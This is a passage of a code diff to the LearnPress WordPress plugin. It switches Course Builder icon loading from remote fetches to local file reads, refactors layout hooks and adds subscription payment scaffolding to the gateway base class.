-		$sidebar_toggle_icon = wp_remote_fopen( LP_PLUGIN_URL . 'assets/images/icons/ico-cb-sidebar-toggle.svg' );
+		$sidebar_toggle_icon = LP_WP_Filesystem::get_icon_svg( 'ico-cb-sidebar-toggle.svg' );
 		$toggle              = sprintf(
 			'<button type="button" class="lp-cb-sidebar__toggle" aria-label="%s" title="%s">
 					%s
@@ -360,8 +361,9 @@
 	 * @param array $data
 	 *
 	 * @return string
+	 * @throws Exception
+	 * @version 1.0.1
 	 * @since 4.3.6
-	 * @version 1.0.0
 	 */
 	public function html_content( array $data = [] ): string {
 		$userModel = $data['userModel'] ?? false;
@@ -371,20 +373,24 @@

 		$menu_current = CourseBuilder::get_menu_current();

-		//Todo: new way - Switch layout display by menu, via model
+		//Switch layout display by menu, via model, @since 4.3.7
 		switch ( $menu_current ) {
 			case self::MENU_COURSES:
-				//BuilderCourseTemplate::instance()->layout( $data );
+				$content = BuilderCourseTemplate::instance()->layout( $data );
 				break;
 			default:
-				//$content = apply_filters( "learn-press/course-builder/content/layout", $menu_current, $data );
+				if ( has_action( "learn-press/course-builder/{$menu_current}/layout" ) ) {
+					// Hook old @since 4.3.6.
+					ob_start();
+					do_action( "learn-press/course-builder/{$menu_current}/layout", $data );
+					$content = ob_get_clean();
+				} else {
+					// Hook new @since 4.3.7.
+					$content = apply_filters( 'learn-press/course-builder/content/layout', '', $menu_current, $data );
+				}
 				break;
 		}

-		ob_start();
-		do_action( "learn-press/course-builder/{$menu_current}/layout", $data );
-		$content = ob_get_clean();
-
 		$output = [
 			'wrapper'     => '<div id="lp-course-builder-content" class="lp-cb-main">',
 			'content'     => $content,
@@ -409,9 +415,9 @@
 		}

 		$hide_instructor_access_admin_screen = LP_Settings::is_hide_instructor_access_admin_screen();
-		$wp_user = new WP_User( $userModel );
-		$is_instructor    = user_can( $wp_user,  UserModel::ROLE_INSTRUCTOR );
-		$dashboard_url    = admin_url();
+		$wp_user                             = new WP_User( $userModel );
+		$is_instructor                       = user_can( $wp_user, UserModel::ROLE_INSTRUCTOR );
+		$dashboard_url                       = admin_url();

 		$footer = [
 			'wrapper' => '<div class="lp-cb-sidebar__footer">',
@@ -605,7 +611,7 @@
 			}
 		}

-		$admin_bar_icon = wp_remote_fopen( LP_PLUGIN_URL . 'assets/images/icons/ico-cb-admin-bar.svg' );
+		$admin_bar_icon = LP_WP_Filesystem::get_icon_svg( 'ico-cb-admin-bar.svg' );

 		$wp_admin_bar->add_node(
 			array(
--- a/learnpress/inc/TemplateHooks/CourseBuilder/Dashboard/BuilderDashboardTemplate.php
+++ b/learnpress/inc/TemplateHooks/CourseBuilder/Dashboard/BuilderDashboardTemplate.php
@@ -17,6 +17,7 @@
 use LearnPressTemplateHooksTemplateAJAX;
 use LP_Course_Filter;
 use LP_Statistics_DB;
+use LP_WP_Filesystem;
 use Throwable;

 class BuilderDashboardTemplate {
@@ -186,16 +187,6 @@
 		return intval( $result );
 	}

-	private function get_icon_svg( string $icon ): string {
-		static $icons = [];
-
-		if ( ! isset( $icons[ $icon ] ) ) {
-			$icons[ $icon ] = wp_remote_fopen( LP_PLUGIN_URL . 'assets/images/icons/' . ltrim( $icon, '/' ) );
-		}
-
-		return $icons[ $icon ];
-	}
-
 	/**
 	 * Render statistics cards.
 	 *
@@ -259,7 +250,7 @@
 				</div>',
 				esc_attr( $card['color'] ),
 				esc_attr( $card['color'] ),
-				$this->get_icon_svg( $card['icon'] ?? '' ),
+				LP_WP_Filesystem::get_icon_svg( $card['icon'] ?? '' ),
 				esc_html( $card['label'] ),
 				esc_html( number_format_i18n( $value ) )
 			);
@@ -484,7 +475,7 @@
 				if ( empty( $thumbnail ) ) {
 					$thumbnail = sprintf(
 						'<div class="course-item__thumb-placeholder">%s</div>',
-						$this->get_icon_svg( 'ico-cb-dashboard-course-placeholder.svg' )
+						LP_WP_Filesystem::get_icon_svg( 'ico-cb-dashboard-course-placeholder.svg' )
 					);
 				}

@@ -565,7 +556,7 @@
 				if ( empty( $thumbnail ) ) {
 					$thumbnail = sprintf(
 						'<div class="course-item__thumb-placeholder">%s</div>',
-						$this->get_icon_svg( 'ico-cb-dashboard-course-placeholder.svg' )
+						LP_WP_Filesystem::get_icon_svg( 'ico-cb-dashboard-course-placeholder.svg' )
 					);
 				}

@@ -665,7 +656,7 @@
 				'label' => __( 'Create Course', 'learnpress' ),
 				'url'   => CourseBuilder::get_link_add_new( 'courses' ),
 				'color' => '#ef4444',
-				'svg'   => wp_remote_fopen( LP_PLUGIN_URL . 'assets/images/icons/ico-courses-2.svg' ),
+				'svg'   => LP_WP_Filesystem::get_icon_svg( 'ico-courses-2.svg' ),
 			],
 			[
 				'label'         => __( 'Create Lesson', 'learnpress' ),
--- a/learnpress/inc/TemplateHooks/CourseBuilder/Lesson/BuilderListLessonsTemplate.php
+++ b/learnpress/inc/TemplateHooks/CourseBuilder/Lesson/BuilderListLessonsTemplate.php
@@ -18,6 +18,7 @@
 use LearnPressTemplateHooksCourseBuilderCourseBuilderCourseTemplate;
 use LearnPressTemplateHooksCourseBuilderCourseBuilderTemplate;
 use LearnPressTemplateHooksTemplateAJAX;
+use LP_WP_Filesystem;
 use Throwable;
 use WP_Query;

@@ -311,8 +312,8 @@
 				$settings
 			);

-			$edit_icon         = wp_remote_fopen( LP_PLUGIN_URL . 'assets/images/icons/ico-cb-edit.svg' );
-			$more_actions_icon = wp_remote_fopen( LP_PLUGIN_URL . 'assets/images/icons/ico-cb-more.svg' );
+			$edit_icon         = LP_WP_Filesystem::get_icon_svg( 'ico-cb-edit.svg' );
+			$more_actions_icon = LP_WP_Filesystem::get_icon_svg( 'ico-cb-more.svg' );

 			$html_action = apply_filters(
 				'learn-press/course-builder/list-lessons/item/action',
--- a/learnpress/inc/TemplateHooks/CourseBuilder/Question/BuilderEditQuestionTemplate.php
+++ b/learnpress/inc/TemplateHooks/CourseBuilder/Question/BuilderEditQuestionTemplate.php
@@ -22,6 +22,7 @@
 use LearnPressTemplateHooksCourseBuilderQuizBuilderQuizTemplate;
 use LP_Question_CURD;
 use LP_Settings;
+use LP_WP_Filesystem;
 use Throwable;
 use WP_User;

@@ -94,20 +95,20 @@
 	}

 	public function html_header( array $data = [] ): string {
-		$userModel            = $data['userModel'] ?? false;
+		$userModel = $data['userModel'] ?? false;
 		if ( ! $userModel instanceof UserModel ) {
 			return '';
 		}

-		$questionModel        = $data['questionModel'] ?? false;
+		$questionModel                       = $data['questionModel'] ?? false;
 		$hide_instructor_access_admin_screen = LP_Settings::is_hide_instructor_access_admin_screen();
-		$more_actions_icon    = wp_remote_fopen( LP_PLUGIN_URL . 'assets/images/icons/ico-cb-more.svg' );
-		$title                = $questionModel ? $questionModel->get_the_title() : __( 'Add New Question', 'learnpress' );
-		$status               = $questionModel ? $questionModel->post_status : '';
-		$status_label         = 'future' === $status ? __( 'scheduled', 'learnpress' ) : $status;
-		$main_action_status   = in_array( $status, [ 'publish', 'draft', 'pending', 'future', 'private' ], true ) ? $status : 'publish';
-		$wp_user              = new WP_User( $userModel );
-		$hide_wp_edit_link    = $hide_instructor_access_admin_screen && user_can( $wp_user, UserModel::ROLE_INSTRUCTOR );
+		$more_actions_icon                   = LP_WP_Filesystem::get_icon_svg( 'ico-cb-more.svg' );
+		$title                               = $questionModel ? $questionModel->get_the_title() : __( 'Add New Question', 'learnpress' );
+		$status                              = $questionModel ? $questionModel->post_status : '';
+		$status_label                        = 'future' === $status ? __( 'scheduled', 'learnpress' ) : $status;
+		$main_action_status                  = in_array( $status, [ 'publish', 'draft', 'pending', 'future', 'private' ], true ) ? $status : 'publish';
+		$wp_user                             = new WP_User( $userModel );
+		$hide_wp_edit_link                   = $hide_instructor_access_admin_screen && user_can( $wp_user, UserModel::ROLE_INSTRUCTOR );

 		$section = [
 			'header_wrap'        => '<div class="lp-cb-header">',
--- a/learnpress/inc/TemplateHooks/CourseBuilder/Question/BuilderListQuestionsTemplate.php
+++ b/learnpress/inc/TemplateHooks/CourseBuilder/Question/BuilderListQuestionsTemplate.php
@@ -18,6 +18,7 @@
 use LearnPressTemplateHooksCourseBuilderQuizBuilderQuizTemplate;
 use LP_Question;
 use LP_Question_CURD;
+use LP_WP_Filesystem;
 use Throwable;
 use WP_Query;

@@ -222,16 +223,8 @@
 	 * @version 1.0.0
 	 */
 	public static function render_question( QuestionPostModel $question_model, array $settings = [] ): string {
-		static $edit_icon         = null;
-		static $more_actions_icon = null;
-
-		if ( null === $edit_icon ) {
-			$edit_icon = wp_remote_fopen( LP_PLUGIN_URL . 'assets/images/icons/ico-cb-edit.svg' );
-		}
-
-		if ( null === $more_actions_icon ) {
-			$more_actions_icon = wp_remote_fopen( LP_PLUGIN_URL . 'assets/images/icons/ico-cb-more.svg' );
-		}
+		$edit_icon         = LP_WP_Filesystem::get_icon_svg( 'ico-cb-edit.svg' );
+		$more_actions_icon = LP_WP_Filesystem::get_icon_svg( 'ico-cb-more.svg' );

 		$types         = LP_Question::get_types();
 		$type          = get_post_meta( $question_model->get_id(), '_lp_type', true );
--- a/learnpress/inc/TemplateHooks/CourseBuilder/Quiz/BuilderEditQuizTemplate.php
+++ b/learnpress/inc/TemplateHooks/CourseBuilder/Quiz/BuilderEditQuizTemplate.php
@@ -22,6 +22,7 @@
 use LearnPressTemplateHooksCourseAdminEditCurriculumTemplate;
 use LearnPressTemplateHooksTemplateAJAX;
 use LP_Settings;
+use LP_WP_Filesystem;
 use Throwable;
 use WP_User;

@@ -94,20 +95,20 @@
 	}

 	public function html_header( array $data = [] ): string {
-		$userModel            = $data['userModel'] ?? false;
+		$userModel = $data['userModel'] ?? false;
 		if ( ! $userModel instanceof UserModel ) {
 			return '';
 		}

-		$quizModel            = $data['quizModel'] ?? false;
+		$quizModel                           = $data['quizModel'] ?? false;
 		$hide_instructor_access_admin_screen = LP_Settings::is_hide_instructor_access_admin_screen();
-		$more_actions_icon    = wp_remote_fopen( LP_PLUGIN_URL . 'assets/images/icons/ico-cb-more.svg' );
-		$title                = $quizModel ? $quizModel->get_the_title() : __( 'Add New Quiz', 'learnpress' );
-		$status               = $quizModel ? $quizModel->post_status : '';
-		$status_label         = 'future' === $status ? __( 'scheduled', 'learnpress' ) : $status;
-		$main_action_status   = in_array( $status, [ 'publish', 'draft', 'pending', 'future', 'private' ], true ) ? $status : 'publish';
-		$wp_user              = new WP_User( $userModel );
-		$hide_wp_edit_link    = $hide_instructor_access_admin_screen && user_can( $wp_user, UserModel::ROLE_INSTRUCTOR );
+		$more_actions_icon                   = LP_WP_Filesystem::get_icon_svg( 'ico-cb-more.svg' );
+		$title                               = $quizModel ? $quizModel->get_the_title() : __( 'Add New Quiz', 'learnpress' );
+		$status                              = $quizModel ? $quizModel->post_status : '';
+		$status_label                        = 'future' === $status ? __( 'scheduled', 'learnpress' ) : $status;
+		$main_action_status                  = in_array( $status, [ 'publish', 'draft', 'pending', 'future', 'private' ], true ) ? $status : 'publish';
+		$wp_user                             = new WP_User( $userModel );
+		$hide_wp_edit_link                   = $hide_instructor_access_admin_screen && user_can( $wp_user, UserModel::ROLE_INSTRUCTOR );

 		$section = [
 			'header_wrap'        => '<div class="lp-cb-header">',
--- a/learnpress/inc/TemplateHooks/CourseBuilder/Quiz/BuilderListQuizzesTemplate.php
+++ b/learnpress/inc/TemplateHooks/CourseBuilder/Quiz/BuilderListQuizzesTemplate.php
@@ -11,12 +11,12 @@
 use LearnPressCourseBuilderCourseBuilder;
 use LearnPressHelpersSingleton;
 use LearnPressHelpersTemplate;
-use LearnPressModelsCourseModel;
 use LearnPressModelsPostModel;
 use LearnPressModelsQuizPostModel;
 use LearnPressModelsUserModel;
 use LearnPressTemplateHooksCourseBuilderCourseBuilderCourseTemplate;
 use LearnPressTemplateHooksCourseBuilderCourseBuilderTemplate;
+use LP_WP_Filesystem;
 use Throwable;
 use WP_Query;

@@ -221,16 +221,8 @@
 	 * @version 1.0.0
 	 */
 	public static function render_quiz( QuizPostModel $quiz_model, array $settings = [] ): string {
-		static $edit_icon         = null;
-		static $more_actions_icon = null;
-
-		if ( null === $edit_icon ) {
-			$edit_icon = wp_remote_fopen( LP_PLUGIN_URL . 'assets/images/icons/ico-cb-edit.svg' );
-		}
-
-		if ( null === $more_actions_icon ) {
-			$more_actions_icon = wp_remote_fopen( LP_PLUGIN_URL . 'assets/images/icons/ico-cb-more.svg' );
-		}
+		$edit_icon         = LP_WP_Filesystem::get_icon_svg( 'ico-cb-edit.svg' );
+		$more_actions_icon = LP_WP_Filesystem::get_icon_svg( 'ico-cb-more.svg' );

 		$author      = get_user_by( 'ID', $quiz_model->post_author );
 		$author_name = $author && isset( $author->display_name ) ? $author->display_name : '--';
--- a/learnpress/inc/admin/class-lp-admin-assets.php
+++ b/learnpress/inc/admin/class-lp-admin-assets.php
@@ -429,7 +429,7 @@
 				'lp-list-students-enrolled' => new LP_Asset_Key(
 					$this->url( 'dist/js/admin/list-students-enrolled' . self::$_min_assets . '.js' ),
 					array( 'lp-load-ajax' ),
-					array( 'learnpress_page_lp-enrolled-students' ),
+					array( 'learnpress_page_learn-press-students-enrolled' ),
 					0,
 					0,
 					'',
--- a/learnpress/inc/admin/views/meta-boxes/order/details.php
+++ b/learnpress/inc/admin/views/meta-boxes/order/details.php
@@ -139,7 +139,8 @@
 					<div class="advanced-list">
 						<div class="ts-control">
 							<?php
-							if ( ! $order->is_manual() && $order->is_guest() ) {
+							$order_user_id = $order->get_user_id();
+							if ( ! $order->is_manual() && ! is_array( $order_user_id ) && $order->is_guest() ) {
 								printf(
 									'<li>
 										<div class="item">%s</div>
--- a/learnpress/inc/cart/class-lp-cart.php
+++ b/learnpress/inc/cart/class-lp-cart.php
@@ -80,6 +80,11 @@
 	 */
 	public function add_to_cart( int $item_id = 0, int $quantity = 1, array $item_data = array() ) {
 		try {
+			/**
+			 * Todo: check it to change, not use get_post_type
+			 * Ex: addon membership has plan need payment, but not use custom post type
+			 * Or addon certificate, currently use custom post type, but feature after upgrade, not save on posts table
+			 */
 			$item_type = get_post_type( $item_id );

 			if ( ! in_array( $item_type, learn_press_get_item_types_can_purchase() ) ) {
--- a/learnpress/inc/class-lp-assets.php
+++ b/learnpress/inc/class-lp-assets.php
@@ -383,7 +383,7 @@
 					'',
 					[ 'strategy' => 'defer' ]
 				),
-				'lp-courses'           => new LP_Asset_Key(
+				/*'lp-courses'           => new LP_Asset_Key(
 					self::url( 'js/dist/frontend/courses' . self::$_min_assets . '.js' ),
 					array(
 						'lp-global',
@@ -394,8 +394,8 @@
 					0,
 					'',
 					[ 'strategy' => 'defer' ]
-				),
-				'lp-courses-v2'        => new LP_Asset_Key(
+				),*/
+				'lp-courses-v2'             => new LP_Asset_Key(
 					self::url( 'js/dist/frontend/courses-v2' . self::$_min_assets . '.js' ),
 					[ 'utils', 'wp-hooks' ], // dependency utils of wp, because js is using wpCookies
 					[ LP_PAGE_COURSES ],
--- a/learnpress/inc/class-lp-debug.php
+++ b/learnpress/inc/class-lp-debug.php
@@ -135,6 +135,15 @@
 		error_log( sprintf( 'MESSAGE: %s FILE: %s LINE: %s', $e->getMessage(), $e->getFile(), $e->getLine() ) );
 	}

+	public static function log_to_comment( $comment_content ) {
+		wp_insert_comment(
+			[
+				'comment_content' => $comment_content,
+				'comment_type'    => 'lp_debug_log',
+			]
+		);
+	}
+
 	/**
 	 * @return LP_Debug|null
 	 */
--- a/learnpress/inc/class-lp-file-system.php
+++ b/learnpress/inc/class-lp-file-system.php
@@ -195,6 +195,35 @@
 		}

 		/**
+		 * Get LearnPress icon SVG content from local plugin files.
+		 *
+		 * @param string $icon
+		 *
+		 * @return string
+		 */
+		public static function get_icon_svg( string $icon ): string {
+			static $icons = [];
+
+			$icon = ltrim( $icon, '/' );
+			if ( '' === $icon ) {
+				return '';
+			}
+
+			if ( ! isset( $icons[ $icon ] ) ) {
+				$icons[ $icon ] = '';
+				$svg_path       = LP_PLUGIN_PATH . 'assets/images/icons/' . $icon;
+				$lp_filesystem  = self::instance();
+
+				if ( $lp_filesystem->file_exists( $svg_path ) ) {
+					$svg_content    = $lp_filesystem->file_get_contents( $svg_path );
+					$icons[ $icon ] = is_string( $svg_content ) ? $svg_content : '';
+				}
+			}
+
+			return $icons[ $icon ];
+		}
+
+		/**
 		 * Put content to file
 		 *
 		 * @param $path
--- a/learnpress/inc/custom-post-types/course.php
+++ b/learnpress/inc/custom-post-types/course.php
@@ -365,6 +365,9 @@
 				if ( $is_update && empty( $wp_screen ) ) {
 					$coursePost = new CoursePostModel( $courseModel );
 					$coursePost->get_all_metadata();
+					// Temporary unset _elementor_page_assets of El, reason by method get_all_metadata get not use maybe_unserialize, make save invalid serialize
+					$coursePost->meta_data->_elementor_page_assets = [];
+
 					$courseModel->meta_data = $coursePost->meta_data;
 				}

@@ -388,7 +391,9 @@
 							if ( ! empty( $value_saved ) ) {
 								$courseModel->meta_data->{$meta_key} = $value_saved;
 							} else {
-								$courseModel->meta_data->{$meta_key} = get_post_meta( $courseModel->ID, $meta_key, true );
+								$courseModel->meta_data->{$meta_key} = maybe_unserialize(
+									get_post_meta( $courseModel->ID, $meta_key, true )
+								);
 							}
 						} elseif ( ! $is_update ) {
 							$courseModel->meta_data->{$meta_key} = $option->default ?? '';
--- a/learnpress/inc/gateways/class-lp-gateway-abstract.php
+++ b/learnpress/inc/gateways/class-lp-gateway-abstract.php
@@ -13,6 +13,23 @@
 }

 class LP_Gateway_Abstract extends LP_Abstract_Settings {
+
+	/**
+	 * Shared subscription order meta keys.
+	 */
+	const META_SUBSCRIPTION_ID                   = '_lp_subscription_id';
+	const META_SUBSCRIPTION_CUSTOMER_ID          = '_lp_subscription_customer_id';
+	const META_SUBSCRIPTION_PLAN_ID              = '_lp_subscription_plan_id';
+	const META_SUBSCRIPTION_QUANTITY             = '_lp_subscription_quantity';
+	const META_SUBSCRIPTION_STATUS               = '_lp_subscription_status';
+	const META_SUBSCRIPTION_STATUS_TMP           = '_lp_subscription_status_tmp';
+	const META_SUBSCRIPTION_RENEWAL_KEY          = '_lp_subscription_renewal_key';
+	const META_SUBSCRIPTION_LAST_EVENT_ID        = '_lp_subscription_last_event_id';
+	const META_SUBSCRIPTION_EVENT_ID             = '_lp_subscription_event_id';
+	const META_SUBSCRIPTION_MANAGE_URL           = '_lp_subscription_manage_url';
+	const META_SUBSCRIPTION_DATA_RECEIVER        = '_lp_subscription_data_receiver';
+	const META_SUBSCRIPTION_DATA_PAYMENT_SUCCESS = '_lp_subscription_data_payment_success';
+
 	/**
 	 * @var null|string
 	 */
@@ -70,7 +87,8 @@
 	 * Constructor
 	 */
 	public function __construct() {
-		/*if ( ! $this->admin_name ) {
+		/*
+		if ( ! $this->admin_name ) {
 			$this->admin_name = preg_replace( '!LP_Gateway_!', '', get_class( $this ) );
 		}*/

@@ -167,6 +185,804 @@
 	}

 	/**
+	 * Check if order should use subscription flow.
+	 *
+	 * Integrations decide via filter `learn-press/gateway/subscription-order`.
+	 *
+	 * @param LP_Order $order
+	 *
+	 * @return bool
+	 */
+	public function is_subscription_order( LP_Order $order ): bool {
+
+		$order_id       = $order->get_id();
+		$saved_price_id = sanitize_text_field( (string) get_post_meta( $order_id, self::META_SUBSCRIPTION_PLAN_ID, true ) );
+		if ( ! empty( $saved_price_id ) ) {
+			return true;
+		}
+		$is_subscription = (bool) apply_filters(
+			'learn-press/gateway/subscription-order',
+			false,
+			$order,
+			$this
+		);
+
+		return $is_subscription;
+	}
+
+	/**
+	 * Get subscription context for provider APIs.
+	 *
+	 * Returns a gateway-agnostic payload that child gateways can pass to
+	 * `pay_subscription()` after optional gateway-specific normalization.
+	 *
+	 * @param LP_Order $order
+	 *
+	 * @return array
+	 */
+	public function get_subscription_context( LP_Order $order ): array {
+		$order_id = $order->get_id();
+
+		$context = array(
+			'price_id'    => get_post_meta( $order_id, self::META_SUBSCRIPTION_PLAN_ID, true ),
+			'quantity'    => (int) get_post_meta( $order_id, self::META_SUBSCRIPTION_QUANTITY, true ),
+			'success_url' => $this->get_return_url( $order ),
+			'cancel_url'  => learn_press_get_page_link( 'checkout' ),
+			'metadata'    => array(
+				'lp_order_id'   => (string) $order_id,
+				'lp_order_key'  => (string) $order->get_order_key(),
+				'lp_gateway'    => $this->get_id(),
+				'lp_user_id'    => (string) $order->get_user_id(),
+				'lp_order_type' => 'subscription',
+			),
+		);
+
+		if ( empty( $context['quantity'] ) ) {
+			$context['quantity'] = 1;
+		}
+
+		return (array) apply_filters( 'learn-press/gateway/subscription-context', $context, $order, $this );
+	}
+
+	/**
+	 * Persist subscription identifiers to order before payment execution.
+	 *
+	 * This allows payment methods to operate only on normalized parameters and
+	 * avoid re-detecting custom integration attributes inside gateway code.
+	 *
+	 * @param LP_Order $order
+	 * @param array    $data
+	 *
+	 * @return void
+	 */
+	protected function persist_subscription_payment_identifiers( LP_Order $order, array $data ) {
+
+		$order_id = $order->get_id();
+
+		update_post_meta( $order_id, self::META_SUBSCRIPTION_PLAN_ID, sanitize_text_field( (string) ( $data['price_id'] ?? '' ) ) );
+		update_post_meta( $order_id, self::META_SUBSCRIPTION_QUANTITY, max( 1, absint( $data['quantity'] ?? 1 ) ) );
+	}
+	/**
+	 * Resolve normalized subscription payment params from order context.
+	 *
+	 * Behavior:
+	 * - If order contains persisted subscription identifiers, treat it as
+	 *   subscription payment.
+	 * - If order is marked subscription by integration filter but has no
+	 *   `price_id`, return a validation error early.
+	 * - Otherwise return empty array (one-time payment flow).
+	 *
+	 * @param LP_Order $order
+	 *
+	 * @return array
+	 * @throws Exception
+	 */
+	public function resolve_subscription_payment_data( LP_Order $order ): array {
+		$context = $this->get_subscription_context( $order );
+		$context = wp_parse_args(
+			$context,
+			array(
+				'price_id'    => '',
+				'quantity'    => 1,
+				'success_url' => '',
+				'cancel_url'  => '',
+				'metadata'    => array(),
+			)
+		);
+
+		$context['price_id'] = sanitize_text_field( (string) $context['price_id'] );
+		$context['quantity'] = max( 1, absint( $context['quantity'] ) );
+		$context['metadata'] = is_array( $context['metadata'] ) ? $context['metadata'] : array();
+
+		if ( ! empty( $context['price_id'] ) ) {
+			$this->persist_subscription_payment_identifiers( $order, $context );
+			return $context;
+		}
+
+		if ( $this->is_subscription_order( $order ) ) {
+			throw new Exception( __( 'Missing subscription price id.', 'learnpress' ) );
+		}
+
+		return array();
+	}
+
+	/**
+	 * Normalize and validate the shared subscription checkout payload.
+	 *
+	 * This method is intentionally gateway-agnostic and is used by child gateways
+	 * (e.g. Stripe/PayPal) before they build provider-specific API requests.
+	 *
+	 * Payload contract:
+	 * - `price_id` (string, required): provider-side configured recurring price/plan id.
+	 * - `quantity` (int): defaults to 1 when missing/invalid/zero.
+	 * - `success_url` / `cancel_url` (string, required): absolute callback URLs.
+	 * - `metadata` (array): optional identifiers (order/user/etc.) for reconciliation.
+	 *
+	 * @param array $data
+	 *
+	 * @return array Normalized payload array.
+	 * @throws Exception
+	 */
+	protected function validate_subscription_payload( array $data ): array {
+		// Apply safe defaults to guarantee a stable input shape.
+		$data = wp_parse_args(
+			$data,
+			array(
+				'price_id'    => '',
+				'quantity'    => 1,
+				'success_url' => '',
+				'cancel_url'  => '',
+				'metadata'    => array(),
+			)
+		);
+
+		// Scalar sanitation/coercion for fields commonly coming from request context.
+		$data['price_id'] = sanitize_text_field( wp_unslash( (string) $data['price_id'] ) );
+		$data['quantity'] = absint( $data['quantity'] );
+		if ( empty( $data['quantity'] ) ) {
+			$data['quantity'] = 1;
+		}
+
+		// URLs are stored in raw form for outbound provider API requests.
+		$data['success_url'] = esc_url_raw( (string) $data['success_url'] );
+		$data['cancel_url']  = esc_url_raw( (string) $data['cancel_url'] );
+
+		// Defensive normalization for optional structured fields.
+		$data['metadata'] = is_array( $data['metadata'] ) ? $data['metadata'] : array();
+
+		// price_id is the minimum provider binding required for subscription checkout.
+		if ( empty( $data['price_id'] ) ) {
+			throw new Exception( __( 'Missing subscription price id.', 'learnpress' ) );
+		}
+
+		// Redirect URLs are mandatory for provider-hosted checkout flows.
+		if ( empty( $data['success_url'] ) || empty( $data['cancel_url'] ) ) {
+			throw new Exception( __( 'Missing subscription return URLs.', 'learnpress' ) );
+		}
+
+		return $data;
+	}
+
+	/**
+	 * Generic subscription checkout flow.
+	 *
+	 * Child gateways should override this method and return a payload with at
+	 * least `status` and `redirect_url` on success.
+	 *
+	 * @param array $data
+	 *
+	 * @return array
+	 * @throws Exception
+	 */
+	public function pay_subscription( array $data ): array {
+		throw new Exception( sprintf( __( 'Gateway %s does not support subscription payment.', 'learnpress' ), $this->get_id() ) );
+	}
+
+	/**
+	 * Normalize and validate shared plan-creation payload.
+	 *
+	 * Common payload contract:
+	 * - `name` (string, required when `product_id` is empty)
+	 * - `amount` (float, required, > 0)
+	 * - `currency` (string, required)
+	 * - `interval` (day|week|month|year)
+	 * - `interval_count` (int, default 1)
+	 * - `setup_fee` (float, optional, >= 0)
+	 * - `product_id` (string, optional)
+	 * - `metadata` (array, optional)
+	 *
+	 * @param array $data
+	 *
+	 * @return array
+	 * @throws Exception
+	 */
+	protected function validate_data_plan_payload( array $data ): array {
+		$data                   = wp_parse_args(
+			$data,
+			array(
+				'name'           => '',
+				'amount'         => 0,
+				'currency'       => learn_press_get_currency(),
+				'interval'       => 'month',
+				'interval_count' => 1,
+				'setup_fee'      => 0,
+				'product_id'     => '',
+				'metadata'       => array(),
+			)
+		);
+		$data['name']           = sanitize_text_field( wp_unslash( (string) $data['name'] ) );
+		$data['amount']         = (float) $data['amount'];
+		$data['currency']       = strtoupper( sanitize_text_field( wp_unslash( (string) $data['currency'] ) ) );
+		$data['interval']       = strtolower( sanitize_key( (string) $data['interval'] ) );
+		$data['interval_count'] = max( 1, absint( $data['interval_count'] ) );
+		$data['setup_fee']      = (float) $data['setup_fee'];
+		$data['product_id']     = sanitize_text_field( wp_unslash( (string) $data['product_id'] ) );
+		$data['metadata']       = is_array( $data['metadata'] ) ? $data['metadata'] : array();
+		if ( empty( $data['product_id'] ) && empty( $data['name'] ) ) {
+			throw new Exception( __( 'Missing subscription plan name.', 'learnpress' ) );
+		}
+
+		if ( $data['amount'] <= 0 ) {
+			throw new Exception( __( 'Invalid subscription amount.', 'learnpress' ) );
+		}
+
+		if ( $data['setup_fee'] < 0 ) {
+			throw new Exception( __( 'Invalid subscription setup fee.', 'learnpress' ) );
+		}
+
+		if ( empty( $data['currency'] ) ) {
+			throw new Exception( __( 'Missing subscription currency.', 'learnpress' ) );
+		}
+		$allowed_intervals = array( 'day', 'week', 'month', 'year' );
+		if ( ! in_array( $data['interval'], $allowed_intervals, true ) ) {
+			throw new Exception( __( 'Invalid subscription interval.', 'learnpress' ) );
+		}
+
+		return $data;
+	}
+
+	/**
+	 * Generic provider plan/price creation flow.
+	 *
+	 * Child gateways should override and return created provider identifiers,
+	 * typically a `price_id`/`plan_id` to be used later by `pay_subscription()`.
+	 *
+	 * @param array $data
+	 *
+	 * @return array
+	 * @throws Exception
+	 */
+	public function create_plan( array $data ): array {
+
+		throw new Exception( sprintf( __( 'Gateway %s does not support subscription plan creation.', 'learnpress' ), $this->get_id() ) );
+	}
+
+	/**
+	 * List provider plans/prices with optional filtering/pagination args.
+	 *
+	 * @param array $args
+	 *
+	 * @return array
+	 * @throws Exception
+	 */
+	public function list_plans( array $args = array() ): array {
+
+		throw new Exception( sprintf( __( 'Gateway %s does not support listing subscription plans.', 'learnpress' ), $this->get_id() ) );
+	}
+
+	/**
+	 * Fetch provider plan/price details by plan id.
+	 *
+	 * Child gateways should override and return at least:
+	 * - `plan`: raw provider response
+	 * - `summary`: normalized fields used by integrations to compare updates
+	 *   (amount/currency/interval/interval_count/setup_fee/status)
+	 *
+	 * @param string $plan_id
+	 *
+	 * @return array
+	 * @throws Exception
+	 */
+	public function get_plan( string $plan_id ): array {
+
+		throw new Exception( sprintf( __( 'Gateway %s does not support fetching subscription plan.', 'learnpress' ), $this->get_id() ) );
+	}
+
+	/**
+	 * Update provider plan details by plan id.
+	 *
+	 * @param string $plan_id
+	 * @param array  $data
+	 *
+	 * @return array
+	 * @throws Exception
+	 */
+	public function update_plan( string $plan_id, array $data ): array {
+
+		throw new Exception( sprintf( __( 'Gateway %s does not support updating subscription plan.', 'learnpress' ), $this->get_id() ) );
+	}
+
+	/**
+	 * Delete/deactivate provider plan by plan id.
+	 *
+	 * @param string $plan_id
+	 *
+	 * @return array
+	 * @throws Exception
+	 */
+	public function delete_plan( string $plan_id ): array {
+
+		throw new Exception( sprintf( __( 'Gateway %s does not support deleting subscription plan.', 'learnpress' ), $this->get_id() ) );
+	}
+	/**
+	 * Generic subscription webhook listener.
+	 *
+	 * Child gateways should override and orchestrate:
+	 * verify -> normalize -> manager dispatch.
+	 *
+	 * @param WP_REST_Request $request
+	 *
+	 * @return array
+	 * @throws Exception
+	 */
+	public function listen_webhook_subscription( WP_REST_Request $request ): array {
+		throw new Exception( sprintf( __( 'Gateway %s does not support subscription webhook.', 'learnpress' ), $this->get_id() ) );
+	}
+
+	/**
+	 * Receive subscription webhook from provider.
+	 *
+	 * @throws Exception
+	 *
+	 * @since 4.3.7
+	 * @version 1.0.0
+	 */
+	public function capture_subscription_webhook( WP_REST_Request $request ) {
+		throw new Exception(
+			sprintf(
+				__( 'Gateway %s does not support subscription webhook.', 'learnpress' ),
+				$this->get_id()
+			)
+		);
+	}
+
+	/**
+	 * Verify subscription webhook payload/signature with provider.
+	 *
+	 * Child gateways should return verified provider event payload/object.
+	 *
+	 * @param array $webhook_data Generic webhook data extracted from transport layer.
+	 *
+	 * @return array|object
+	 * @throws Exception
+	 */
+	public function verify_subscription_webhook( array $webhook_data ) {
+
